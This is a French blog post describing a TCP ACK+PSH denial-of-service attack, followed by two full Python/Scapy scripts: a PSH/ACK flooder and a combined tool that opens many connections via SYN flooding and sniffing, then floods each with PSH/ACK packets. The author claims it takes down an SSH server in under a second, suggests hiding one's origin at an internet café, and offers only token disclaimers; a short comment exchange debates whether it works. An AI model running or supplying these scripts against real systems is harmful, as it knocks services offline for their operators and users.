Déni de service de haut niveau: ACK + PSH

Publié le par Satellite

Ce deni de service est très souvent delaissé lors des test de sécurité, alors que c'est une des attaques les plus dangereuses (d'après moi), et ce pour une bonne raison. Bien que l'IP ne soit pas spoofée (ce qui nest pas vraiment un probleme, il suffit d'aller au cyber), elle est très dure à detecter et ne nécessite pas autant de bande passante qu'un ping flood. De plus, contrairement à l'attaque NetKill, quelques sockets suffisent.
Principe : On établit une connection en trois poignées de main (TCP S / TCP SA / TCP A) comme dans le Netkill, puis nous expedions une série de paquets flagés "ACK + PSH"

Lorsqu'on envoie un paquet via TCP, le stack le stoque (jeu de mot !) dans un buffer, qui, une fois rempli, est transmis au systeme. Si on active le flag PSH (Push), le paquet et directement transmis au systeme. Il suffit donc d'inonder le serveur à l'aide de paquets Push / ACK (accusé de reception) pour surcharger le systeme cible. Cette attaque est très difficile à détecter car elle simule un comportement commun de la socket.


#-*-coding:Utf-8-*-
from scapy.all import *
import sys
from random import randint
#-------------------------------------
#    Push AcK Flooder
#By iZy TeH PariaH
#Version : python2.6
#Ubuntu
#21 aout 2009
#-------------------------------------

if len(sys.argv) < 4:
    print 'Syntaxe ; !/*.py ipCible portCible nbAck'
    exit(0)
ipCible = sys.argv[1] #Récupération des paramètres
portCible = int(sys.argv[2])
portDep = randint(1,65535)
nbAck = int(sys.argv[3])
ans, unans = sr(IP(dst = ipCible)/TCP(dport = portCible,sport = portDep,flags = 'S')) #Envoi du paquet Syn
for s,r in ans:
    numAck = r[TCP].seq + 1
    numSeq = r[TCP].ack
    send(IP(dst = ipCible)/TCP(dport = portCible, sport = r[TCP].dport,flags = 'A',seq = numSeq, ack = numAck)) #Envoi du paquet ACK
    print 'Connection établie !'
i = 0
while i < nbAck: # Début du flood
    send(IP(dst = ipCible)/TCP(dport = portCible, sport = portDep, flags = 'PA'))
    i = i + 1

print '--- fin de l'attaque '


Bien entendu, combinée aux sockets crées via Netkill, cette attaque est dévastatrice. Voici un script que j'ai fait combinant les deux attaques. Je pense qu'il est suffisament commenté. En revanche, son optimisation est sommaire, c'est plus un cas d'école qu'un outil de hacking.


#-*-coding:Utf-8-*-
import sys,time
from scapy.all import *
from random import randint
from threading import Thread

#----------------------------------------------------------
#              iPsilon WK              |
#                    by iZy TeH PariaH              |
# Version : 2.0                          |
# Scripted 21.08.09                       |
# Exploitation de failles TCP/iP               |
# Attaque en deux temps                      |
#---------------------------------------------------------

# Principe de l'attaque:
# Phase 1 : Etablissement de connections par envoi massif de paquets SYN
#           Reception des paquets SYN/ACK par sniffing et envoi massif de paquets ACK avec le numero de sequence et d'accusé correspondants
# Phase 2 : Envoi massif de paquets flag PSH / ACK
#
# Cela aura pour effet de saturer le nombre de connections disponnible sur le serveur, puis de surcharger la pile TCP par des paquets flagés PUSH/ACK
# Il est envisageable de rajouter un flag URG

# Script en 3 parties (2 Thread, 1 Main)
# Processeur recomandé : 1ghz/2ghz bande passante correcte EXIGEE ;-)

#----------------------------------------------------------------
# Thread ACK :
#     Objectif : Flooder la cible avec des paquets ACK /PSH a
#           partir des ports ayant établis une connection
#    Liste de ports a flooder dynamique

class Ack(Thread):
    def __init__(self,target,port,nbPacket):
        self.t = target
        self.p = int(port)
        self.nb = int(nbPacket)
        self.listePort = []
        Thread.__init__(self)
    def addPort(self,nb): # Ajoute un port à la liste
        self.listePort.append(int(nb))
    def run(self):
        i = 0
        time.sleep(10)
        while i < self.nb:
            for port in self.listePort: #Pour chaque port de la liste, on envoie un paquet
                send(IP(dst = self.t)/TCP(dport = self.p, sport = port, flags = 'PA'))
            i = i + 1
        print str(i) + ' paquets PUSH / ACK envoyés pour chaque socket (valeur estimee)! '
        
#-----------------------------------------------------------------
# Thread Sniffer:
#    Objectif : Récupérer les paquets SynAck et renvoyer les
#           paquets ACK correspondants pour établir une
#           connection avec le serveur
#    Ajoute les ports sur lesquels on établit la connection à
#    la liste du thread Ack de manière Dynamique


class Sniffer(Thread):
    def __init__(self,target,port,nbPack):
        self.ACK = Ack(target,port,nbPack)
        self.nbPack = nbPack #nombre de paquets a envoyer par socket (attribut transféré au deuxieme thread si il est != 0)
        if nbPack != 0:
            self.ACK.start()
        Thread.__init__(self)
        self.t = target #Cible a attaquer
        self.p = port #Port a flooder
        self.sniff = 1 #Variable gérant le sniff
        self.nbSock = 0 #Variable comptant le nombre de connections établies
    def stop(self): #Methode stopant le sniffer
        self.sniff = 0
    def run(self):
        while self.sniff:
            a = sniff(count = 1)[0] #Récuperation d'un paquet TCP
            try:
                if a[TCP].flags == 18 and a[TCP].sport == self.p and a[IP].src == self.t: #Si c'est un paquet SynACK venant de la cible
                    numSeq = a[TCP].ack #Numero de sequence fixé
                    numAck = a[TCP].seq + 1 #Numero d'accusé fixé
                    send(IP(dst = self.t)/TCP(dport = self.p,sport = a[TCP].dport, flags = 'A',seq = numSeq,ack = numAck)) #Envoi du paquet
                    print 'paquet TCP ACK'
                    self.nbSock = self.nbSock + 1 #Incrementation du nombre de socket activées
                    if self.nbPack != 0:
                        self.ACK.addPort(a[TCP].dport) #Ajout du port dans la base de donnée du second thread
            except:
                pass
        print str(self.nbSock) + ' connections ont étée effectuées pendant cette attaque !'
        
#-----------------------------------------------------------
# Main:
#     Objectif : Envoyer massivement les paquets SYN pour
#           etablir les connections

if __name__ == '__main__':
    if len(sys.argv) < 5:
        print 'Syntaxe !/.py ip_serveur port nbPaquetsSyn nbPaquets_par_socket'
        exit(0)
    print '--- iPsiLoN SecuritY Tester ---'
    print '--- v 2.0, based on TCP PROTOCOL ---'
    print '--- By iZy TeH PariaH --- Beta Tester : Klaw [Plus beta que tester] ---'
    print '--- Attention, je décline toute résponsabilité quant a une mauvaise utilisation de se script !'
    print '--- Powered by SCAPY ! ---'
    print '--- Socket Flooder + Spammer ACK.PSH ---'
    s = sys.argv[1]
    p = int(sys.argv[2])
    nbS = int(sys.argv[3])
    nb = int(sys.argv[4])
    a = Sniffer(s,p,nb) #Création du thread sniffer
    a.start()
    i = 0
    while i < nbS:
        send(IP(dst = s)/TCP(sport = randint(1,65535),dport = p,flags = 'S'))
        i = i + 1
    a.stop()
    
#----------------------------------------------------------
# Merci d'utiliser ce script !
# Toute utilisation à des fins malfaisantes est prohibée !
# Je décline toute responsabilité !
# Si vous avez envie de DoS votre voisin, dites vous que
# c'est peut être moi !
#-----------------------------------------------------------
# Contact : dreamofanolife@hotmail.fr
#
#    iZy [for Cyber Peace And Harmony]  



Les ports obtenant des paquets FIN ne sont pas supprimés de la liste du flooder Ack + Psh. Il est donc possible d'optimiser encore plus les dégats causés, en diminuant la bande passante utilisée par l'attaquant. A voir. Cette attaque down mon serveur SSH en moins de 1 seconde.

Le savoir est une arme ;-)

Publié dans Python

Pour être informé des derniers articles, inscrivez vous :
Commenter cet article
B
Salut, j'ai lu ton code, cependant j'ai du mal à voir en quoi le fait d'envoyer des ACK + PUSH DoS un système. Dans le thread d'envoi d'ACK, les numéro de séquence ne sont pas définit, le comportement typique d'un serveur est de ne rien faire d'un tel ACK non ? Alors le flag push permets peut être le traitement accéléré, mais ces segments vont être droppés, à moins que l'attaque soit justement de flooder en mass et de faire monter la charge CPU ?
Répondre
S


Bonjour.
Tout d'abord, merci de ton commentaire !
Pour répondre à ta question, comment veut tu indiquer un numero de sequence ACK alors que tu n'accuse réception d'aucun paquet ?

Le but est de surcharger le stack TCP et de l'empecher de traiter le buffer. Même si les paquets ne sont pas traités, ils consoment du CPU. C'est ça l'objectif du déni de service.

Quand t'envoie un ping flood, c'est pas vraiment le fait que l'ordinateur réponde à tes pings qui t'interesse ;-)